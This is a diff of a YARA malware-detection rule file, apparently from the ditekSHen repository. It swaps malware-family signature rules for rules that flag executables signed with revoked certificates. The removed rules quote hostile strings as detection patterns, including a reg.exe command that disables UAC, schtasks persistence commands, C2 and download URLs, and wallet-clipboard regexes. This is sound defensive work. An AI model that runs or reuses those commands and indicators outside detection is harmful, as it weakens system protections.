+		thumbprint = "73a0cc4495a49492806b970fd844a0ab078126930305d22c7bf68b43c337fc1a"
+		reason = "IcedID"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((5 of ($s*) and 2 of ($b*)) or all of ($s*) or ( all of ($b*) and (4 of ($s*) or 5 of ($m*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KOZUZ SP. Z O.O." and pe.signatures[i].serial=="2a:2f:27:05:35:c2:d5:e7:63:07:20:fb:22:9b:5d:1c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Neptune : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4659Fa5Fc1E0397Df79Fd6A4083D93B0 : FILE
 {
 	meta:
-		description = "Detects Neptune keylogger / infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "0f619bea-f00b-5078-95a4-83306e3e87b4"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7931-L7953"
+		id = "a0d2449c-c1b0-5e6a-9fa3-d8fe8e318c62"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7846-L7859"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e3298bf55f89180ed7e9f7ad35b59d39284a5143fd69fa2a4fbc27d91fb2fbd3"
+		logic_hash = "6d8a10d77e63d2a62ce45606dd9a317220aa124a50fa95028a45d9f5899ec6e3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "your keylogger has been freshly installed on" wide
-		$x2 = "Attached is a screenshot of the victim" wide
-		$x3 = "color: rgb(2, 84, 138);'>Project Neptune</span><br>" wide
-		$x4 = ">{Monitor Everything}</span><br><br>" wide
-		$x5 = "[First Run] Neptune" wide
-		$x6 = "Neptune - " wide
-		$s1 = "Melt" fullword wide
-		$s2 = "Hide" fullword wide
-		$s3 = "SDDate+" fullword wide
-		$s4 = "DelOff+" fullword wide
-		$s5 = "MsgFalse+" fullword wide
-		$s6 = "Clipboard:" fullword wide
-		$s7 = "information is valid and working!" wide
-		$s8 = ".exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f" wide
-		$s9 = "http://www.exampleserver.com/directfile.exe" fullword wide
+		thumbprint = "fa5f2dbe813b0270b1f9e53da1be024fb495e8b1848bb3c9c7392a40c8f7e8e6"
+		reason = "RedLineStealer"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or 7 of ($s*) or (1 of ($x*) and 5 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Incuber Services LLP" and pe.signatures[i].serial=="46:59:fa:5f:c1:e0:39:7d:f7:9f:d6:a4:08:3d:93:b0")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Tomiris : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_651F3E5B491B197D20C49B9C7B25B775 : FILE
 {
 	meta:
-		description = "Detects Tomiris"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "86efd4fb-3c76-504e-b367-132aee59e09a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7955-L7978"
+		id = "fb8b4a88-631b-5a5c-ab36-286b74a3a346"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7861-L7874"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1d9baeb6db2e849dd053c3fc735984e23b9cead39cf166f8a544ee5a439185d1"
+		logic_hash = "fe06e8f6fd87d5a9044a6ff609da73b7d9e7d1f07cc9e84ee2fd2940be615323"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$f1 = "main.workPath" ascii
-		$f2 = "main.selfName" ascii
-		$f3 = "main.infoServerAddr" ascii
-		$f4 = "main.configFileName" ascii
-		$s1 = "C:/Projects/go/src/Tomiris/main.go" ascii
-		$s2 = "C:/GO/go1.16.2/src/os/user/lookup_windows.go" ascii
-		$s3 = "C:\\GO\\go1.16.2" ascii
-		$s4 = ".html.jpeg.json.wasm.webp/p/gf/p/kk1562515" ascii
-		$s5 = "\" /ST 10:00alarm clockassistQueueavx512vbmi2avx512vnniwbad" ascii
-		$s6 = "write /TR \" Value addr= alloc base  code= ctxt: curg= free  goid  jobs= list= m->p=" ascii
-		$t1 = "SCHTASKS /DELETE /F /TN \"%s\"" ascii
-		$t2 = "SCHTASKS /CREATE /SC DAILY /TN" ascii
-		$t3 = "SCHTASKS /CREATE /SC ONCE /TN \"%s\" /TR \"%s\" /ST %s" ascii
-		$t4 = "SCHTASKS /CREATE /SC ONCE /TN \"%s\" /TR \"'%s' %s\" /ST %s" ascii
-		$r1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones" ascii
-		$r2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" ascii
+		thumbprint = "0ee11d5917c486b7a57b7c3c566acec251170e98a577164f36b7d7d34f035499"
+		reason = "NetSupport"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($f*) and 3 of ($s*) and 2 of ($t*) and 1 of ($r*)) or (4 of ($s*) and 2 of ($t*) and 1 of ($r*)) or 12 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rhynedahll Software LLC" and pe.signatures[i].serial=="65:1f:3e:5b:49:1b:19:7d:20:c4:9b:9c:7b:25:b7:75")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Jennlog : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_67936A84Bed66Ef021Dbe771De331772 : FILE
 {
 	meta:
-		description = "Detects JennLog loader"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "38f8cd13-f157-5cce-bf04-80c29d254144"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7980-L7996"
+		id = "2739308a-7396-5fe2-bf1b-fe7e6e5d1f80"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7876-L7889"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "085a4783c7c01ec95491d9999d1835ad9ab3dc70d77b944578e097b3ffe3a627"
+		logic_hash = "da149e6835be937e0bf2763052d4cbabb367910061aec3c394dffaa45d9b0ac6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "%windir%\\system32\\rundll32.exe advapi32.dll,ProcessIdleTasks" fullword wide
-		$x2 = "https://fkpageintheworld342.com" fullword wide
-		$s1 = "ExecuteInstalledNodeAndDelete" fullword ascii
-		$s2 = "ProcessExsist" fullword ascii
-		$s3 = "helloworld.Certificate.txt" fullword wide
-		$s4 = "ASCII85 encoded data should begin with '" fullword wide
-		$s5 = "] WinRE config file path: C:\\" ascii
-		$s6 = "] Parameters: configWinDir: NULL" ascii
-		$s7 = "] Update enhanced config info is enabled." ascii
+		thumbprint = "8fff75906628b764e99a7a028112a8ec7794097e564f0f897c24c2baaa82ded8"
+		reason = "IcedID"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 3 of ($s*)) or 5 of ($s*) or ( all of ($x*) and 2 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "APEX SOFTWARE DESIGN, LLC" and pe.signatures[i].serial=="67:93:6a:84:be:d6:6e:f0:21:db:e7:71:de:33:17:72")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Lockfile : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_8538A6C5018F50Fc : FILE
 {
 	meta:
-		description = "Detects LockFile ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "762ac376-43ff-56d2-b279-2879ce6d8542"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7998-L8014"
+		id = "8790c06a-3b7a-5e40-9a9c-0f2064029daf"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7891-L7904"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "28c8aa8931d599e5a1860fe2ed0b8172e709dad1a48a319858a907fa775af293"
+		logic_hash = "2ef3c7a45eb1d46e6c159ec9692fa5c17ff7679f41d96d04de52aa52ce96fa6b"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "LOCKFILE" fullword ascii
-		$x2 = "25a01bb859125507013a2fe9737d3c33" fullword ascii
-		$s1 = "</key>" fullword ascii
-		$s2 = "<computername>%s</computername>" fullword ascii
-		$s3 = "<blocknum>%d</blocknum>" fullword ascii
-		$s4 = "%s\\%s-%s-%d%s" fullword ascii
-		$s5 = ">RAC=OQD:S>P@:AO?R:EEOS:ARDD=N?EENSB" ascii wide
-		$m1 = "<title>LOCKFILE</title>" ascii wide nocase
-		$m2 = "<hta:application id=LOCKFILE applicationName=LOCKFILE" ascii wide nocase
+		thumbprint = "d42519dac24abc5c1ebfc6e0da0fd2e7cfb9db50c0598948c6630fdc132c7f94"
+		reason = "Malware"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or all of ($s*) or (1 of ($x*) and (2 of ($s*) or 1 of ($m*))) or (1 of ($m*) and (1 of ($x*) or 2 of ($s*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Trading Technologies International, Inc." and pe.signatures[i].serial=="85:38:a6:c5:01:8f:50:fc")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_HUNT_Foggyweb : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Fecc3B3C675F7Ffd7De22507F3Fdacd7 : FILE
 {
 	meta:
-		description = "Attempt on hunting FoggyWeb"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "429827f7-2ccf-5c13-ac0d-1fd8b35a6740"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8016-L8032"
+		id = "b91a7dcd-6212-5750-9bc8-0eb37d9e129b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7906-L7919"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d868501bc52ad7787d9e99927dd61e9ad9e2132f02348fc71e64666bfc0c9e15"
-		score = 50
+		logic_hash = "1319f4ccb5ab07c1c538d6a183fa25726b3d42192eaa878a2c402be2c93219f7"
+		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$u1 = "/adfs/portal/images/theme/light01/" ascii wide
-		$u2 = "/adfs/services/trust/2005/samlmixed/upload" ascii wide
-		$s1 = "ProcessGetRequest" ascii wide
-		$s2 = "ProcessPostRequest" ascii wide
-		$s3 = "UrlGetFileNames" ascii wide
-		$s4 = "GetWebpImage" ascii wide
-		$s5 = "GetWebpHeader" ascii wide
-		$s6 = "ExecuteAssemblyRoutine" ascii wide
-		$s7 = "ExecuteBinary" ascii wide
+		thumbprint = "6b8cc2be066ff0bf1d884892fc600482fc34eaddb3a5e6681b509d64795b01d4"
+		reason = "RemcosRAT"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Gromit Electronics Limited" and pe.signatures[i].serial=="fe:cc:3b:3c:67:5f:7f:fd:7d:e2:25:07:f3:fd:ac:d7")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_HUNT_Apostle
+rule DITEKSHEN_INDICATOR_KB_CERT_5294F0F841F29855E33A18402421949A : FILE
 {
 	meta:
-		description = "Attempt on hunting new variants of Apostle"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "31d15111-6935-5a77-ae9a-6bee16c1d2f6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8034-L8043"
+		id = "3153f039-afd2-5eb5-b090-b205d9778eb7"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7921-L7934"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9acab5dadee0760431376075450f54bbb32ebed10dc928db91a44d069afc1576"
-		score = 50
-		quality = 73
-		tags = ""
-
-	strings:
-		$x1 = "://t.me/x4ran" ascii wide nocase
-		$x2 = "43JuFUyzfcKQwTzCTHpQoA8uLGtbwFBLyeeXoYEEU5dZLhLT1cZJDk4cytjcgQT7kdjSerJqpEp2gUcH91bjLcoq2bqik3j" ascii wide
+		logic_hash = "b9d2b10c4117de276cb41148b41921115f414aa17e261956c8550adf6127d5b9"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		thumbprint = "df744f6b9430237821e3f2bc6edafb4a92354dda1734a60d5e0d816256aefb47"
+		reason = "RemcosRAT"
+		importance = 20
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Integrated Plotting Solutions Limited" and pe.signatures[i].serial=="52:94:f0:f8:41:f2:98:55:e3:3a:18:40:24:21:94:9a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_HUNT_Ghostemperor_Remotecontrolpayload : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1614Ef66B2C4B886E71A93Dd34869F48 : FILE
 {
 	meta:
-		description = "Attempt on hunting GhostEmperor Stage 4 Remote Control Payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d30a2aad-8bd6-5291-a31d-7dade250e57e"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/30094337/GhostEmperor_technical-details_PDF_eng.pdf"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8045-L8052"
+		id = "27bead15-f7fa-55a1-9347-ea551e1e0e18"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7936-L7949"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "dabce4e0add0d05b4efd8e7540e4f14767c7b5fab361bd731234dd9dd844c658"
-		score = 50
+		logic_hash = "26265d54d8b58128c1a9a3b322f339d1beb438f403637519b11ff324af91d1e2"
+		score = 75
 		quality = 75
 		tags = "FILE"
+		thumbprint = "1689697e08dda6d1233c0056078ddf25b12c3608ead7d96ed4cbbb074e54ce29"
+		reason = "RemcosRAT"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and pe.is_dll() and pe.number_of_exports==2 and pe.exports("1") and pe.exports("__acrt_iob_func")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SHIRT AND CUFF LIMITED" and pe.signatures[i].serial=="16:14:ef:66:b2:c4:b8:86:e7:1a:93:dd:34:86:9f:48")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Unicorn : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_65Cfd8419D70Ce4011D97Bc79D18315E : FILE
 {
 	meta:
-		description = "Detects Unicorn infostealer"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7cc8298d-abbd-5dda-bbd4-8b061095c367"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8077-L8107"
+		id = "2368b3d1-1cd5-575b-a3ff-270349563d1a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7951-L7964"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c4150b213c0dd88c87eb81e3ad455d8f658a57b0998bc6e394c5afac9423d9f2"
+		logic_hash = "675ab6ef0f744f62db892992c6b3614e14b95f64e2800a0d10e55b915a2b4e74"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "WinHTTP Downloader/1.0" fullword wide
-		$x2 = "[CTRL + %c]" fullword wide
-		$x3 = "\\UnicornLog.txt" fullword wide
-		$x4 = "/*INITIALIZED*/" fullword wide
-		$s1 = { 2f 00 63 00 20 00 22 00 43 00 4f 00 50 00 59 00
-               20 00 2f 00 59 00 20 00 2f 00 42 00 20 00 22 00
-               25 00 73 00 22 00 20 00 22 00 25 00 73 00 22 00
-               22 00 00 00 63 00 6d 00 64 00 2e 00 65 00 78 00
-               65 }
-		$s2 = { 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00
-               2e 00 65 00 78 00 65 00 00 00 00 00 25 00 73 00
-               20 00 22 00 25 00 73 00 22 00 2c 00 25 00 68 00
-               73 }
-		$s3 = "%*[^]]%c%n" fullword ascii
-		$s4 = "file://%s%s%s" fullword ascii
-		$s5 = "%s://%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" fullword ascii
-		$s6 = "regex_start_injects" fullword ascii
-		$s7 = "DLEXEC" fullword ascii
-		$s8 = "^((((3|1)[A-Za-z0-9]{33}))(\\s|$)|(bc1q)[A-Za-z0-9]{38}(\\s|$))" fullword ascii
-		$s9 = "^(0x)?[A-Za-z0-9]{40}(\\s|$)" fullword ascii
-		$s10 = "clipRegex" fullword ascii
-		$s11 = "%s?k=%s&src=clip&id=%s" fullword ascii
-		$s12 = "http://izuw6rclbgl2lwsh.onion/o.php" fullword ascii
+		thumbprint = "7cff10e37a43843e971f02ca6ad6510f08a5209d21745181fc4d003a8287cd1b"
+		reason = "BumbleBee"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or 8 of ($s*) or (3 of ($x*) and 5 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FACE AESTHETICS LTD" and pe.signatures[i].serial=="65:cf:d8:41:9d:70:ce:40:11:d9:7b:c7:9d:18:31:5e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Spectre : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_01Cf0B0F01B20B70Bfaa69722979Ef5C : FILE
 {
 	meta:
-		description = "Detects Spectre infostealer"
-		author = "ditekSHen"
-		id = "43b32900-8dff-5a95-bcff-d6bd17703476"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8109-L8124"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "23f5047d-b8f9-5f17-9add-6e29dce9a976"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7966-L7979"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ee041928ab5010fd5a06538f9a7cf9c72e44903fdb05f13b12362af0b326fd6f"
+		logic_hash = "5942c0196d7264783590c599ccfb0fe6518b338238ddb3df4e4f8999922ce86b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort_sid = "920233-920234"
-
-	strings:
-		$s1 = "\\../../../json.h" wide
-		$s2 = "static_cast<std::size_t>(index) < kCachedPowers.size()" fullword wide
-		$s3 = " cmd.exe" fullword wide
-		$s4 = "m_it.object_iterator != m_object->m_value.object->end()" fullword wide
-		$h1 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1" fullword wide
-		$h2 = "----974767299852498929531610575" ascii wide
-		$h3 = "Content-Disposition: form-data; name=\"file\"; filename=\"" fullword ascii
+		thumbprint = "ef10480ab6448e60bdc689fc54cb6cfc4a8e1d39ddc788ce3d060ab4b7d30b59"
+		reason = "Ryuk"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and (( all of ($s*) and 1 of ($h*)) or ( all of ($h*) and 2 of ($s*)))) or (6 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PET PLUS PTY LTD" and pe.signatures[i].serial=="01:cf:0b:0f:01:b2:0b:70:bf:aa:69:72:29:79:ef:5c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_HUNT_Blackbyte : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_698Ff388Adb50B88Afb832E76B0A0Ad1 : FILE
 {
 	meta:
-		description = "Attempt on hunting BlackByte ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c07e9b83-3bbf-52c9-b9fa-ca03f285a906"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8126-L8139"
+		id = "8118e0ee-6214-54f3-b025-234f9e685832"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7981-L7994"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4ceb71e42b888522c183af7e180bae47510fc7aa60a713aa83ffc2c98c03466f"
-		score = 50
-		quality = 57
+		logic_hash = "7734256201739dece5ae039d45ed79c74be6228f7da51fc82c0cfd2d4aacfd4b"
+		score = 75
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "WalkDirAndEncrypt" ascii wide nocase
-		$s2 = "FileEncrypt" ascii wide nocase
-		$s3 = "BlackByte." ascii wide nocase
-		$s4 = "EnumerateDirAndEncrypt" ascii wide nocase
-		$s5 = "Dismount-DiskImage" ascii wide nocase
-		$s6 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options" ascii wide nocase
+		thumbprint = "479e01dde7e7529ed4ad111a2d7b3b16fdc6fbe2ed0d6ff015c1c823ca0939db"
+		reason = "IcedID"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BELLAP LIMITED" and pe.signatures[i].serial=="69:8f:f3:88:ad:b5:0b:88:af:b8:32:e7:6b:0a:0a:d1")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlinjector05 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5143Cf38D5Fd26858830826632Be9Fda : FILE
 {
 	meta:
-		description = "Detects downloader / injector (NiceProcess)"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "857eb13b-a882-5326-b7aa-4d2fcd0b6425"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8141-L8158"
+		id = "653a969a-9aed-5a26-9962-92bc173ddfdd"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7996-L8009"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5345c2b03e14b7324a13bac0da783eec8c30da18043c1b2d46162e5b511fae63"
+		logic_hash = "b6f33fd94f8098ca9d4fe98b3dc0a833f0be78fe854c62d715b98a2ba980b8ac"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "pidhtmpfile.tmp" fullword ascii
-		$s2 = "pidhtmpdata.tmp" fullword ascii
-		$s3 = "pidHTSIG" fullword ascii
-		$s4 = "Taskmgr.exe" fullword ascii
-		$s5 = "[HP][" ascii
-		$s6 = "[PP][" ascii
-		$s7 = { 70 69 64 68 74 6d 70 66 69 6c 65 2e 74 6d 70 00
-                2e 64 6c 6c 00 00 00 00 70 69 64 48 54 53 49 47
-                00 00 00 00 ?? ?? 00 00 54 61 73 6b 6d 67 72 2e
-                65 78 65 }
+		thumbprint = "57a8aa854f3198f069bb34bc763b7773a8cfdafb562ee0ccf24a5067d45d5e3c"
+		reason = "BumbleBee"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DIGI CORP MEDIA LLC" and pe.signatures[i].serial=="51:43:cf:38:d5:fd:26:85:88:30:82:66:32:be:9f:da")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Kutaki : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3628B93Bcd902B6B3E1Ffdf2E13Dfcf5 : FILE
 {
 	meta:
-		description = "Detects Kutaki"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d91812bb-4564-56b5-9757-81255b5233fb"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L8160-L8173"
+		id = "8b8fa36d-181b-57a1-853e-ab11a5127fd7"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8011-L8024"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "24fbc9ca6de421275813c285a8fca91cfcede48f4b4de9feda010c644f0c251f"
+		logic_hash = "bf9b2ab7a379437daa04565fdf7adc04db2f6f1a6284d1fd91f037b255523c42"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "AASEaHR0cDovL29qb3JvYmlhLmNsdWIvbGFwdG9wL2xhcHRvcC5waHA" ascii
